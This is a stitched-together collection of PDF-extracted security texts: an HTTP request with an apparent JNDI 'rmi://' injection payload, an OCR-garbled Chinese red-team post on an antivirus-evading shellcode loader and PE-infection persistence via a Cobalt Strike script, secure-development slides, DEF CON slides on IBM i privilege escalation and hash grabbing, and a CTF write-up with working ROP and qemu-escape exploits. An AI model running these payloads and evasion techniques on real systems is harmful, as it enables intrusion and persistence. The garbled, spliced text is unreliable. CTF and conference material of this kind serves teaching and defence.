User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93
Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: LtpaToken=; JSESSIONID=9A9692B5AC5ABEB779C4F77244E73362
method=testDbConn&datasource=rmi://ip:port/sxoevq | pdf |
花了⼀天时间学习WPF图形化开发,C#的图形化我没学过.原始Form实在是丑.
最后完成如下.
加密⽤的RSA.
沙盒判断也很简单,星球⾥⾯发了很多次了.(原来那个)
物理机测试免杀360(主机到了,快乐)
然后想起来看到了⼀个pe感染权限维持的项⽬,趁着⼼情好复现⼀下.
我加到了⾃⼰改的Kit⾥⾯
前⾔
⼝
流沙免杀加载器
RedTeamWing
加密⽅式
加载⽅式
图标
临时⽂件
语⾔
CPU
沙盒烧过
Sleep
Disk
UAC
Mac
进程注⼊
explore.exe
后续
msinLasm-Peiniect-dii
peinject.cpp
Welcome
main.cpp
EXPLORER
main.asm
peinject.cna
shellexecute
OPENEDITORS
main.asm
PEINJECTDLL
push
push.o
这⾥要修改偏移
81
pushoffsetpath
cs-peinject
nO
这⾥要修改偏移
82
pushoffsetmethod
中
images
push
peiniect
calL.dwordptrss:[esp+18h]
Peinjectdil
addesp,38h
main.cpp
填⼊旧的⼊⼝点
86
jimpmain
Peinjecuall.vcxproj
methoddb'"open".
Peinjectdll.vcxprojfilters
pathdb"c:usersisunmnDesKOpITTHexEdi.xe"
shellcode调试
89
nop
shellexecute
90
nop
nop
mantasm
nop
shellexecutevcxproj
93
mainendp
shellexecuteycxproj.filters
94
endmain
gitattributes
95
gitignore
Peinjcctdll.sln
README.md
TIMELINE
Ln95.Col1
master
要注意⼏个问题.
RIkYIewAttacksReportingHelp
0图三⽇
internal
11stener
external
1as
pid
computer
rch
process
192.168.123.77
2h
DESKTOP-9IPJBEB
192.168.123.77
http-1ocal
7256
192.168.123.77
192.168.123.77
DESKTOP-9IPJBEE
http-1ocal
18784
ArRexe
DESKTOP-9IPJBEG
192:16⽇123.77
http-1ocal
192.16⽇.123.77
18588
Interact
DECVTOAATAIREA
192.168.123.77
192.168.123.77
64
37872
http-1ocal
In1T101ACCEBS
Wingkit
53046
192.168.123.77
192.1686.123.77
arRe
11m
Access
⾃启动
PE成染
史克染的⽂件路径
Explore
注在表
Peinject
Pivoting
张向移动
不捉仅
Spawn
riviiege
Hisc
Session
redentinl
Set/updateDefaults
beacon192.168123.7年18588
BEacSHarpTaskT1853
EventLog
FILe192168.14
Scripts
ScriptConso1e
thePpl
PTaskcdBcacontofindswchostoxningusAandmalkeittho
[waskedbeacontobecomentaractlve
[阳Inncttoflapath:PmgrmFles(Stem.
Taskedbeacontohject/ser/ying/Redtemw/mktncu
Waitingafewseccndsforpeinjectconplete...
⽔perstensepenjectccmelete
Thostcallodhcme,sant76271bytos
FutLrpoSTCbEWbESPAYncDtHFakOPPIDOT
NTALTHORISYSTEM
SchoteNc2o9
Taskedbercontospoof960amoontmocos
Tt@becontomtucheh
hostcalledhame,sent12
ppd960kinadiftarentdesktos(pdm
hastcalledhcme,sent260624bytes
特别是script_recource不能错.
然后设置好路径
我是⽤的steam.直接执⾏,steam打开就会上线.
item"Peinject"
local('shrfilehafilehfilesbid$)
foreach$bid($1)
blog($bid,Einjcttofileth:$filepath"
$hrfile
ppenf(eliwin_cs4third-partyPeinjectinjc
bin");
$buf:readb(shrfile,-):closef(hfile);
$hafilecopen
(">>E:WWIn_C54l1thirdpartyPeinjectpeinjc.
writeb(shafile,$filepath):close(hfie)
$curr_pidbeaconinfo(bid,"i)
bshinject(bid,i,
peinject.
script_resource
bin"));
"waitingafewsecondsforpeinjectcomplee."
blog($bid,
bpause($bid,1000);
cS4\\thirdpartyiPeinjectipeinjc
$hfile
opentCE:IWi
bin");
$buf):closef(shfile);
writeb(shfile,
blog(sbid,
"persistence-peinjectcomplete");
shellcode被查到了,但是没关系,⾃⼰改下就免杀了.
我的加载器也不是很好,但是先留着⽤⼀阵⼦,这不HW快开始了.233333
商店
最强⾼达之战
泌战2休闲玩
单机
⼤型⽹游
误报反馈
⼤脑提翻态
发现⽊⻢,建议⽴即清除
⽊⻢⽂件:
C:ProgramFiles(x86Steamlsteamexe
⽊⻢名称:HEUR/QVM19.1.941C.MalwareGe
有⽊⻢试图攻击您的电脑,360已成功栏截.
I
极智守护
添加信任
⽴即清除并全⾯扫描
源⾃360安全⼤脑
"本地磁盘(D:
Unix(L
⽉ | pdf |
S-SDL企业应用实践
关于漏洞、风险、成本
1. 为什么软件总会有漏洞?漏洞是怎么引入的?
◦ 业务需求引入
◦ 产品设计引入
◦ 编码引入
2. 如何应对风险
◦ 缓解风险
◦ 转移风险
◦ 接受风险
3. 安全成本
◦ 对于企业来说,安全投入多少是合适的?
什么是S-SDL
不是一种安全技术,而是E2E的安全工程能力
也是一种Security Built In的解决方案
目标:交付更安全的系统
S-SDL架构
安全策略/安全治理
组
织
架
构
培
训
体
系
研
发
流
程
度
量
体
系
工
具
平
台
安全标准、规范、过程、知识库
人
工具
方法
质量
管理
安全是质量属性的一部分,将安全融入到质量管理是构建S-SDL的基本条件
软件安全研发流程设计
安全需求
安全设计
安全开发
安全测试
发布及漏洞
管理
持续改进
安全融入开发流程
建立安全需求
1. 分析业务需求对安全的影响
2.来自客户的显性安全需求
3.安全需求基线
3.合规、认证需求
安全需求
设计目标
质量门槛
安全设计—Security by Design
1.攻击面分析
◦ 攻击面最小化
2. 威胁建模
◦ STRIDE威胁建模
◦ 攻击树威胁建模
安全规范
威胁库
方案库
安全设计原则
说明
开放设计
安全不依赖于设计的秘密
失败安全
基于允许的访问决策
权限分离
一种保护机制需要两把钥匙来解锁
最小授权
根据业务需求最授权
经济适用
越复杂的东西越容易出漏洞
最小公共化
尽量减多用户间公用的且被所有用户依赖的机
制
完全仲裁
每一次访问都应该进行权限检查
心理可承受
安全机制的设计要易于使用
不轻信
默认不可信
保护薄弱环节
攻击往往在薄弱点发生
纵深防御
不依赖单一的安全机制
代码安全
1. 安全编码规范
2. 代码扫描及告警清理
3. 代码Review
安全函数库
扫描规划定制化
告警清理指导
代码 Review指导
安全测试
1.基于威胁建模的测试
2.Fuzzing
3.己知漏洞扫描
4. 测试问题跟踪
发布及漏洞管理
1. 安全生态建设—漏洞收集
2. 漏洞分析,排查,预警
3. 根因分析 | pdf |
Hack the legacy!
IBM i (aka AS/400) revealed.
Bart Kulach
System . . . . . : DEFCON23
Subsystem . . . . : QTRACK4
Display . . . . . : QPADEV0001
MA█ a MV 08/007
Agenda
Let’s get introduced
Why should we care about legacy?
Evil Java?
Privilege escalation – let’s jump!
Password security and hash grabbing
Summary + Q&A
MA█ a MV 23/001
Let’s get introduced
I’m googleable.
https://nl.linkedin.com/in/bartkulach
Disclaimer:
Any views or opinions presented here
are solely those of the author and do not
necessarily
represent
those
of
his
employer(s).
MA█ a MV 23/002
KEEP
CALM
and
PWRDWNSYS
*IMMED
Why should we care
about legacy?
MA█ a MV 23/003
Why should we care
about legacy?
It’s legacy… but hard to get rid of.
It’s processing most interesting data.
It’s usually less secure than front-ends.
It’s often more vulnerable than you think.
It’s still quite accessible to potential intruders.
It’s existing everywhere - in all economic sectors.
It’s already been exploited (“Hacking iSeries” by S.Carmel)!
MA█ a MV 23/004
Evil Java?
MA█ a MV 23/005
Evil Java?
IBM Toolbox for Java/JTOpen
Allows for remote system API calls and usage of built-in
system commands (“Limited capability” not effective here)
Gives the flexibility of coding “outside” the AS/400 box
(no need for extra authorities on the system)
Is generally poorly written (decompile and check yourself!)
Handling of authorisations by Java VM on server side is
inconsistent (object authority vs. data authority), allowing for
greater visibility
MA█ a MV 23/006
Demo time:
Evil Java – visibility example
MA█ a MV 23/007
Privilege escalation – let’s jump!
MA█ a MV 23/008
Privilege escalation – let’s jump
Part 1 – remote profile switching
Do you use group profiles? Like one common group profile?
Are your admins also members of the group?
Are your object and data authorities hardened?
Do you monitor profile handle swapping?
Let’s jump remotely:
check the list of profiles you have access to
grab a profile handle
switch to the profile
repeat until you’re happy with your access level
MA█ a MV 23/009
Demo time:
Remote profile switching
MA█ a MV 23/010
Privilege escalation – let’s jump
Part 2 – nested command use
Exit points/programs generally allow to protect the system quite
easily from usage of specific SQL queries or system commands
Most commercial protection software that use exit programs have
their weaknesses/vulnerabilities.
They can be however often be circumvented by using nested
commands (commands running commands)
Especially if you cross the environments (CL–PASE–DB2)…
And if we add JDBC to that… like
CALL QSYS.QCMDEXC('QSH CMD(''DB2 "select * from
library.file" | Rfile -w /QSYS.LIB/QSYSPRT.FILE'')',
0000000077.00000
MA█ a MV 23/011
Demo time:
Nested command use
MA█ a MV 23/012
Password security
and hash grabbing
MA█ a MV
Password security
and hash grabbing
IBM offers you a nice API (QSYRUPWD) to grab the
hashes.
QSYRUPWD allows for getting an extract of all hashes for a
particular user.
The output format is proprietary and was never published
until today
Is your QPWDLVL system value 0, 1 or 2*? If so, you can
enjoy the LM hashes
*for QPWDLVL=2, QPWDMAXLEN must be <=14
You have to be *SECADM (and ideally *ALLOBJ) though
(so go back and escalate your privileges first).
MA█ a MV 23/014
Password security
and hash grabbing – cont’d.
MA█ a MV 23/015
Password security
and hash grabbing – cont’d.
MA█ a MV 23/016
Offset
(Dec)
Length
(Chars)
Field
QPWDLVL
0
16
DES 56-bit encrypted password substitute (RFC2877)
0, 1, 2*
16
16
DES 56-bit encrypted password substitute (RFC2877)
0, 1, 2*
32
32
LM hash
0, 1, 2*
64
4
No data
-
68
40
HMAC-SHA1 encrypted password token (RFC4777)? 0**, 1**, 2, 3
108
40
HMAC-SHA1 encrypted password token (RFC4777)? 0**, 1**, 2, 3
148
6
No data
-
154
384
Unknown (hash?) data
0, 1, 2, 3
QSYRUPWD Encrypted password data hex string
*depending on password rules; **from V5R1 onwards
Demo time:
Password grabbing
MA█ a MV 23/017
Summary + Q&A
Java is the evil for AS/400.
Be sceptic about IBM Security
books.
Visit www.hackthelegacy.org
MA█ a MV 23/018
@bartholozz
www.hackthelegacy.org
MA█ a MV 23/019 | pdf |
⻄湖论剑 WriteUp By Nu1L
⻄湖论剑 WriteUp By Nu1L
Reverse
ROR
TacticalArmed
Web
EZupload
OA?RCE?
灏妹的web
EasyTp
Pwn
Blind
string_go
easykernel
Misc
签到
Crypto
unknown_dsa
FilterRandom
SpecialCurve2
hardrsa
密码⼈集合
Reverse
ROR
from z3 import *
des = [ 0x65, 0x55, 0x24, 0x36, 0x9D, 0x71, 0xB8, 0xC8, 0x65, 0xFB,
0x87, 0x7F, 0x9A, 0x9C, 0xB1, 0xDF, 0x65, 0x8F, 0x9D, 0x39,
0x8F, 0x11, 0xF6, 0x8E, 0x65, 0x42, 0xDA, 0xB4, 0x8C, 0x39,
0xFB, 0x99, 0x65, 0x48, 0x6A, 0xCA, 0x63, 0xE7, 0xA4, 0x79]
s_box = [ 0x65, 0x08, 0xF7, 0x12, 0xBC, 0xC3, 0xCF, 0xB8, 0x83, 0x7B,
0x02, 0xD5, 0x34, 0xBD, 0x9F, 0x33, 0x77, 0x76, 0xD4, 0xD7,
0xEB, 0x90, 0x89, 0x5E, 0x54, 0x01, 0x7D, 0xF4, 0x11, 0xFF,
0x99, 0x49, 0xAD, 0x57, 0x46, 0x67, 0x2A, 0x9D, 0x7F, 0xD2,
0xE1, 0x21, 0x8B, 0x1D, 0x5A, 0x91, 0x38, 0x94, 0xF9, 0x0C,
0x00, 0xCA, 0xE8, 0xCB, 0x5F, 0x19, 0xF6, 0xF0, 0x3C, 0xDE,
0xDA, 0xEA, 0x9C, 0x14, 0x75, 0xA4, 0x0D, 0x25, 0x58, 0xFC,
0x44, 0x86, 0x05, 0x6B, 0x43, 0x9A, 0x6D, 0xD1, 0x63, 0x98,
0x68, 0x2D, 0x52, 0x3D, 0xDD, 0x88, 0xD6, 0xD0, 0xA2, 0xED,
0xA5, 0x3B, 0x45, 0x3E, 0xF2, 0x22, 0x06, 0xF3, 0x1A, 0xA8,
0x09, 0xDC, 0x7C, 0x4B, 0x5C, 0x1E, 0xA1, 0xB0, 0x71, 0x04,
0xE2, 0x9B, 0xB7, 0x10, 0x4E, 0x16, 0x23, 0x82, 0x56, 0xD8,
0x61, 0xB4, 0x24, 0x7E, 0x87, 0xF8, 0x0A, 0x13, 0xE3, 0xE4,
0xE6, 0x1C, 0x35, 0x2C, 0xB1, 0xEC, 0x93, 0x66, 0x03, 0xA9,
0x95, 0xBB, 0xD3, 0x51, 0x39, 0xE7, 0xC9, 0xCE, 0x29, 0x72,
0x47, 0x6C, 0x70, 0x15, 0xDF, 0xD9, 0x17, 0x74, 0x3F, 0x62,
0xCD, 0x41, 0x07, 0x73, 0x53, 0x85, 0x31, 0x8A, 0x30, 0xAA,
0xAC, 0x2E, 0xA3, 0x50, 0x7A, 0xB5, 0x8E, 0x69, 0x1F, 0x6A,
0x97, 0x55, 0x3A, 0xB2, 0x59, 0xAB, 0xE0, 0x28, 0xC0, 0xB3,
0xBE, 0xCC, 0xC6, 0x2B, 0x5B, 0x92, 0xEE, 0x60, 0x20, 0x84,
0x4D, 0x0F, 0x26, 0x4A, 0x48, 0x0B, 0x36, 0x80, 0x5D, 0x6F,
0x4C, 0xB9, 0x81, 0x96, 0x32, 0xFD, 0x40, 0x8D, 0x27, 0xC1,
0x78, 0x4F, 0x79, 0xC8, 0x0E, 0x8C, 0xE5, 0x9E, 0xAE, 0xBF,
0xEF, 0x42, 0xC5, 0xAF, 0xA0, 0xC2, 0xFA, 0xC7, 0xB6, 0xDB,
0x18, 0xC4, 0xA6, 0xFE, 0xE9, 0xF5, 0x6E, 0x64, 0x2F, 0xF1,
0x1B, 0xFB, 0xBA, 0xA7, 0x37, 0x8F]
de1 = []
for i in des:
de1.append(s_box.index(i))
flags = []
for i in range(40):
flags.append(BitVec(f'flag{i}',8))
so = Solver()
v6 = [0] * 8
v6[0] = 128
v6[1] = 64
v6[2] = 32
v6[3] = 16
v6[4] = 8
v6[5] = 4
v6[6] = 2
v6[7] = 1
for i in range(0,40,8):
for j in range(8):
v5 = ((v6[j] & flags[i + 3]) << (8 - (3 - j) % 8)) | ((v6[j] & flags[i + 3]) >>
((3 - j) % 8)) | ((v6[j] & flags[i + 2]) << (8 - (2 - j) % 8)) | ((v6[j] & flags[i +
2]) >> ((2 - j) % 8)) | ((v6[j] & flags[i + 1]) << (8 - (1 - j) % 8)) | ((v6[j] &
flags[i + 1]) >> ((1 - j) % 8)) | ((v6[j] & flags[i]) << (8 - -j % 8)) | ((v6[j] &
flags[i]) >> (-j % 8))
tmp = (((v6[j] & flags[i + 7]) << (8 - (7 - j) % 8)) | ((v6[j] & flags[i + 7])
>> ((7 - j) % 8)) | ((v6[j] & flags[i + 6]) << (8 - (6 - j) % 8)) | ((v6[j] & flags[i +
6]) >> ((6 - j) % 8)) | ((v6[j] & flags[i + 5]) << (8 - (5 - j) % 8)) | ((v6[j] &
flags[i + 5]) >> ((5 - j) % 8)) | ((v6[j] & flags[i + 4]) << (8 - (4 - j) % 8)) |
((v6[j] & flags[i + 4]) >> ((4 - j) % 8)) | v5)
so.add(tmp == de1[i+j])
print(so.check())
m = so.model()
print(''.join(chr(m[i].as_long()) for i in flags))
TacticalArmed
恢复指令:
发现是个tea,动态调试获取key,写出逆即可
import ida_bytes
import struct
des = 0x8000000
ins_addr = 0x405010
sizes_addr = 0x405220
def get_patch_addr(a2,a3):
t = ida_bytes.get_dword(0x4052A8 + a2 * 4)
v5 = t % 0x10
v4 = t >> 4
if v4 == 1:
return 4 * (v5 + 2 * a3) + 0x405648
if v4 == 2:
return 4 * v5 + 0x405000
if v4 == 3:
return 0x405748
def patch_addr(ori,addr):
if addr is None:return ori
for i in range(len(ori)):
if ori[i] == 0:
return ori[:i] + struct.pack('I',addr)+ ori[i+4:]
return ori
size = ida_bytes.get_dword(sizes_addr)
v14 = 0
while size != 0:
ins = ida_bytes.get_bytes(ins_addr,size)
pa = get_patch_addr(v14,0)
res = patch_addr(ins,pa)
ida_bytes.patch_bytes(des,res)
des += len(res)
sizes_addr += 4
size = ida_bytes.get_dword(sizes_addr)
v14 += 1
ins_addr += 16
Web
EZupload
模板在编译时会在tempdir⽬录中产⽣编译后的缓存⽂件,⽽⽂件上传并没有过滤 .user.ini ,所以我们可以上传
⼀个.user.ini⽂件,内容是 auto_prepend_file=/flag ,然后编译缓存的⽂件名是由模板名和⼀个hash组成的,
hash是getTemplateClass函数⽣成的
from pwn import *
import fuckpy3
def dec(a1,a2,fuck_s = 0):
s = 0x81A5692E * 33 * (fuck_s + 1)
s %= 0x100000000
for i in range(33):
a2 -= ((16 * a1 + 0x66398867) ^ (a1 + s) ^ ((a1 >> 5) + 0xc35195b1))
a2 %= 0x100000000
a1 -= ((16 * a2 + 0x7ce45630) ^ (a2 + s) ^ ((a2 >> 5) + 0x58334908))
a1 %= 0x100000000
s -= 0x81A5692E
s %= 0x100000000
return (p32(a1) + p32(a2)).str()
en = [0x422F1DED, 0x1485E472, 0x35578D5, 0x0BF6B80A2, 0x97D77245,
0x2DAE75D1, 0x665FA963, 0x292E6D74, 0x9795FCC1, 0x0BB5C8E9]
res = ''
for i in range(0,10,2):
res += dec(en[i],en[i+1],i//2)
print(res)
public function getTemplateClass(string $name): string
{
$key = serialize([$this->getLoader()->getUniqueId($name), self::VERSION,
array_keys((array) $this->functions), $this->sandboxed]);
return 'Template' . substr(md5($key), 0, 10);
}
在这个函数中,除了版本之外的变量都是固定的。我们可以在 ./vendor/composer/installed.json 找到latte的
版本,进⽽直接算出hash。然后访问编译缓存⽂件,auto_prepend_file⽣效,读出flag。
OA?RCE?
⽤这个OA换表的base64编码⼀下路径: echo $this->jm-
>base64encode("../../../../../../../../../../usr/local/lib/php/pearcmd");
灏妹的web
.idea/dataSources.xml
EasyTp
控制器代码: /public/?file=aaaaaa/../../../../../var/www/html/app/controller/Index.php
pop链随便⽹上找⼀条即可: https://xz.aliyun.com/t/9310#toc-6
⽤三个斜杆绕过过滤 ///public/index.php/Index/unser
Pwn
Blind
from pwn import *
elf = ELF("./blind")
def csu(func,rdi,rsi,rdx):
payload = p64(0x4007BA)
payload += p64(0)+p64(1)+p64(func)+p64(rdx)+p64(rsi)+p64(rdi)+p64(0x4007a0)
payload += b'A'*56
return payload
read_got = elf.got['read']
alarm_got = elf.got['alarm']
# s = process("./blind")
# for i in range(0x100):
# try:
s = remote("82.157.6.165","22000")
payload = b'A'*0x50+p64(0)+csu(read_got,0,alarm_got,1)
payload += csu(read_got,0,elf.bss(0x500),0x100)
payload += csu(alarm_got,elf.bss(0x500),0,0)
string_go
修改string结构体size进⾏泄漏
# gdb.attach(s,"b *0x4007a9\nc")
sleep(3)
s.send(payload)
sleep(0.5)
s.send(b'\x38')
sleep(0.5)
s.send(b'/bin/sh\x00'.ljust(59,b'\x00'))
s.sendline(b'ls')
tmp = s.recv(timeout=1)
print('ls:'+tmp)
if(tmp != None):
s.sendline("ls")
s.interactive()
# except:
# pass
from pwn import *
# s = process("./string_go")
s = remote("82.157.20.104","42500")
context.terminal = ['ancyterm', '-s', 'host.docker.internal', '-p', '15111', '-t',
'iterm2', '-e']
libc = ELF("./libc-2.27.so")
s.sendlineafter(">>","2+1")
s.sendlineafter(">>","-8")
# gdb.attach(s,"b *$rebase(0x23a4)\nc")
s.sendlineafter(">>","a"*8)
s.sendlineafter(">>","\xff")
s.recvuntil("a"*8)
s.recv(0x30)
canary = u64(s.recv(8))
success(hex(canary))
s.recv(0xb8)
libc.address = u64(s.recv(8))&0xffffffffffff
libc.address -= 0x21bf7
success(hex(libc.address))
pop_rdi = 0x00000000000215bf+libc.address
sh = next(libc.search("/bin/sh"))
system = libc.sym['system']
easykernel
没有重定向monitor,直接读rootfs.img
payload =
'A'*0x18+p64(canary)+p64(0x10)+p64(0x8)*2+p64(pop_rdi)+p64(sh)+p64(pop_rdi+1)+p64(syste
m)
s.sendlineafter(">>",payload)
s.interactive()
from pwn import *
from tqdm import trange
import fuckpy3
context(os='linux', arch='amd64', log_level='error')
DEBUG = 0
if DEBUG:
p = process(argv='./start.sh', raw=False)
else:
p = remote('82.157.40.132', 35600)
def main():
ctrl_a = '\x01c'
p.send(ctrl_a)
s = b''
p.sendlineafter('(qemu)', 'stop')
# p.sendlineafter('(qemu)', 'xp/100000bc 0x000000')
p.sendlineafter('(qemu)', 'drive_add 0
file=/rootfs.img,id=flag,format=raw,if=none,readonly=on')
for i in trange(160):
p.sendlineafter('(qemu)', f'qemu-io flag "read -v {0x4000*i} 0x4000"')
p.recvuntil('\r\n')
data = p.recvuntil('ops/sec)\n', drop=True).split(b'\n')[:-2]
for d in data:
s += b''.join(d.split()[1:17]).unhex()
i = 160
p.sendlineafter('(qemu)', f'qemu-io flag "read -v {0x4000*i} 0x600"')
p.recvuntil('\r\n')
data = p.recvuntil('ops/sec)\n', drop=True).split(b'\n')[:-2]
for d in data:
s += b''.join(d.split()[1:17]).unhex()
# print(s)
with open('out.img','wb') as f:
f.write(s)
# print(data)
p.interactive()
Misc
签到
暗号对上,DASCTF{welc0m3_t0_9C51s_2021} ~
温馨提醒,本次⽐赛 flag 格式⼀般为 DASCTF{}/flag{},在界⾯上提交时只需要提交括号内的内容,⽐如这个题你
就只需要提交 welc0m3_t0_9C51s_2021 作为 flag 即可!
Crypto
unknown_dsa
if __name__ == '__main__':
main()
from Crypto.Util.number import *
from Crypto.Hash import SHA
wl = [3912956711, 4013184893, 3260747771]
cl1 =
[28525892237799287962665406004216787908890672849116825789242161860525903935956453221615
633866155124752567263843650917110344496827912689946237589377528747509182009618889970824
771008110257218987207836668686234982462196772211062276608955190586319650557907091302077
60704,
211158499061801396563106646074584256376705200819832482589841660262228987535050089041366
888200757204110041582641386597621018735885836864733889517447339367697326172796497970851
52057880233721961,
301899179092185964785847705166950181255677272294377823045011205035318463496682788289651
177635341894308537787449148199583490117059526971759804426977947952721266880757177055335
088777693134693713345640206540670123872210178680306100865355059146219281124303460105424
]
cl2 =
[14805245002940976705662351036536660222877843156928840757713198043507452963271501497113
345262602122694463228247931237866735379211713345206997233416938683722728592401118703567
187475890102871950516388778938283577066421804574346522278885925827282621786987760731414
4,
164363185031805515194693838138967103973882495327281640237109511804717975884670307093185
023866826262544482656483345229480711054444153783019975205004069744094814609272371366112
5309994275256,
109495870160167959404459761984601492581446353669964555986052447435407287646359470610377
799126612073228201805411141796129160183176004038160277033911109221123119109000344423403
87304006761589708943814396303183085858356961537279163175384848010568152485779372842]
from sage.all import *
# https://mathsci.kaist.ac.kr/cms/wp-content/uploads/2017/11/NumberTheory_Sage.pdf
def solve_pell(N, c1, c2):
cf = continued_fraction(sqrt(N))
for i in range(10000):
denom = cf.denominator(i)
numer = cf.numerator(i)
if numer*numer - N * denom*denom == 1 and c1.bit_length() <= numer.nbits() <=
c1.bit_length()+2 and c2.bit_length() <= denom.nbits() <= c2.bit_length()+2:
return numer, denom
return None, None
us = []
vs = []
for i in range(3):
u,v = solve_pell(wl[i],cl1[i],cl2[i])
us.append(u)
vs.append(v)
m1 = long_to_bytes(crt(cl1,us).nth_root(7))
m2 = long_to_bytes(crt(cl2,vs).nth_root(7))
print(m1,m2)
p =
951393538807721049398706181454482342510311051534065658330297872990403783950021904383815
379748537778906929244071678238189800826728735381331271313568101530129240252708839661724
206587779033375760271059541198114954111490929604220554451210972598026869602882583997541
85484307350305454788837702363971523085335074839
n =
851986153860756075670700209699817778276718736546312004720782419807378344388979001462488
402791911391564165371083996828743706298882073345062370400178383135589112750739041484515
402557058184775811828662694130182630798586802216473416807629890804180399727047590033436
166524754381558068587359823529307712448809901903185269332674552489137822979916850411875
65140859
q = n//p
assert p*q==n
t =
601321763959228969025188452440510654171435075505198602110779655017833159711094335444824
112082384851355540652418649563616768782203425002080110893837512254374170498937255461767
994171888759726772936800330053998831135311937053534048921418114934150797554561858588898
014563869108922398697328052738792810946133296453262872057366145463111436355800514444465
76104548
g = pow(t, inverse(p*q-(p+q), (p-1)*(q-1)),p*q)
assert t==pow(g, p*q-(p+q), p*q)
hm1 = bytes_to_long(SHA.new(m1).digest())
hm2 = bytes_to_long(SHA.new(m2).digest())
r1, s1, s2 = 498841194617327650445431051685964174399227739376,
376599166921876118994132185660203151983500670896,
187705159843973102963593151204361139335048329243
FilterRandom
r2, s3 = 620827881415493136309071302986914844220776856282,
674735360250004315267988424435741132047607535029
k = inverse((s1-s2)*inverse(hm1-hm2,q),q)%q
print(long_to_bytes((s1*k%q-hm1)*inverse(r1,q)%q))
print(long_to_bytes((s3*k%q-hm1)*inverse(r2,q)%q))
class lfsr():
def __init__(self, init, mask, length):
self.init = init
self.mask = mask
self.lengthmask = 2**length-1
def next(self):
nextdata = (self.init << 1) & self.lengthmask
i = self.init & self.mask & self.lengthmask
output = 0
while i != 0:
output ^= (i & 1)
i = i >> 1
nextdata ^= output
self.init = nextdata
return output
N = 64
mask1 = 17638491756192425134
output =
'10001011010100011000100101001011100010110111001100001110000111011011100101101101000111
101100010111100011000011111111010101111100101010101100010100000111011010011110111000100
000101100101010110100111100011000101010101011011111011011000001101001011000010000011110
001111001111011100110011111111101000111101001010000110001110111101001001101011101101001
010001101010010110000000000001001101100101011110011010110011010110110011001001111001010
100011110111100100010110111100110010000000010010011110001100000011000001110001000000010
000100100101100000011100000011110101001011010011010100001101000010100100000011001011001
000110000000000111011101000110010110111110010101110010001010001111111000011010000011001
110111001000010011000000111010111100000100010011001111101110110100100011111000111000011
111101010010110011111100010000100101011000001010101111101111001000011101111000111000101
011010111100110001011011100101001010110110110110011100100111100110001101110010100010111
100000110000010110100010001100011011001100100110101110010100011101110110010000010011100
000011100000101010011011111110000100000010001010111011011111110100111100011100011110110
010001011101111001011101010110111001001000111001001111001111110111111100001111100100110
011111110110101000011010111110010001100000111100010011100011010000101010111010101101000
011001110011000000110110110001101100110101110010010111011100110101000110000011001010100
000110000000001110010001010001001101111100001111111011010010011100110010000111010001001
111111110000010101110011010100100101101100111000010110100110010001010110111110011000111
011101110100010000110110110011001011111011111000000000000001110000001000011000110111000
000110100110110001111011111100010010011100101010000111000011111010000001010010011101010
010110011000000001111110000000010111011000010001111000100110101110001000011111001101111
111100011111011001001110000101001101110100111010011011101000110010000001001000001100110
001110101100001000110100100010111101100010100110011111010011100100001101111010000110110
101111111001111011100001101100000001101111100100'
for i in range(1984):
init1 = int(output[i:i+64],2)
for j in range(i+64):
t = init1%2
init1 = init1 >> 1
t ^= bin(init1&mask1).count('1')%2
init1 = (t<<63)+init1
l1 = lfsr(init1, mask1, N)
s = 0
for j in range(2048):
if l1.next()!=int(output[j]):
s += 1
if s>200:
break
else:
print(i,s,init1)
break
#661 112 15401137114601469828
l1 = lfsr(init1,mask1,N)
a = []
b = []
for i in range(2048):
SpecialCurve2
if l1.next()!=int(output[i]):
a.append(i)
b.append(int(output[i]))
print(a)
print(b)
from sage.all import *
a = [4, 12, 30, 37, 41, 53, 69, 85, 97, 101, 146, 148, 193, 196, 260, 281, 341, 357,
390, 407, 428, 431, 438, 477, 520, 523, 529, 539, 541, 566, 607, 613, 619, 623, 640,
660, 733, 750, 811, 816, 824, 873, 887, 906, 910, 939, 948, 959, 971, 977, 1001, 1026,
1030, 1046, 1052, 1078, 1082, 1109, 1120, 1126, 1137, 1158, 1163, 1194, 1195, 1222,
1237, 1244, 1280, 1286, 1311, 1345, 1391, 1401, 1415, 1440, 1456, 1495, 1506, 1518,
1532, 1535, 1571, 1612, 1619, 1624, 1642, 1646, 1654, 1709, 1718, 1745, 1764, 1792,
1797, 1834, 1848, 1855, 1861, 1871, 1894, 1901, 1906, 1925, 1950, 1967, 1970, 1979,
2026, 2027, 2036, 2046]
b = matrix(GF(2),112,[1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0,
1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1,
1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0,
1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1,
1, 1, 0])
state = [vector(GF(2),64,[0]*i+[1]+[0]*(63-i)) for i in range(64)]
A = []
for i in range(a[-1]+1):
mask2 = 14623996511862197922
nextdata = vector(GF(2),64)
for j in range(64):
if mask2%2:
nextdata += state[-1-j]
mask2 = mask2 >> 1
state = state[1:] + [nextdata]
if i in a:
A += nextdata
A = matrix(GF(2),112,64,A)
init2 = A.solve_right(b)
init2 = ''.join(str(i[0])for i in init2)
init2 = int(init2, 2)
print(init2)
# 11256716742701089092
from Crypto.Util.number import *
import random
def add(P1,P2):
hardrsa
x1,y1=P1
x2,y2=P2
x3=(x1*x2-y1*y2)%n
y3=(x1*y2+x2*y1)%n
return (x3,y3)
def mul(P,k):
assert k>=0
Q=(1,0)
while k>0:
if k%2:
k-=1
Q=add(P,Q)
else:
k//=2
P=add(P,P)
return Q
'''
discrete log
n = 92916331959725072239888159454032910975918656644816711315436128106147081837990823
y =
1225348982571480649501200428324593233958863708041772597837722864848672736148168^2*2%n
g = 2
e = int(pari(f"znlog({int(y)},Mod({int(g)},{int(n)}))"))
'''
e = 96564183954285580248216944343172776827819893296479821021220123492652817873253
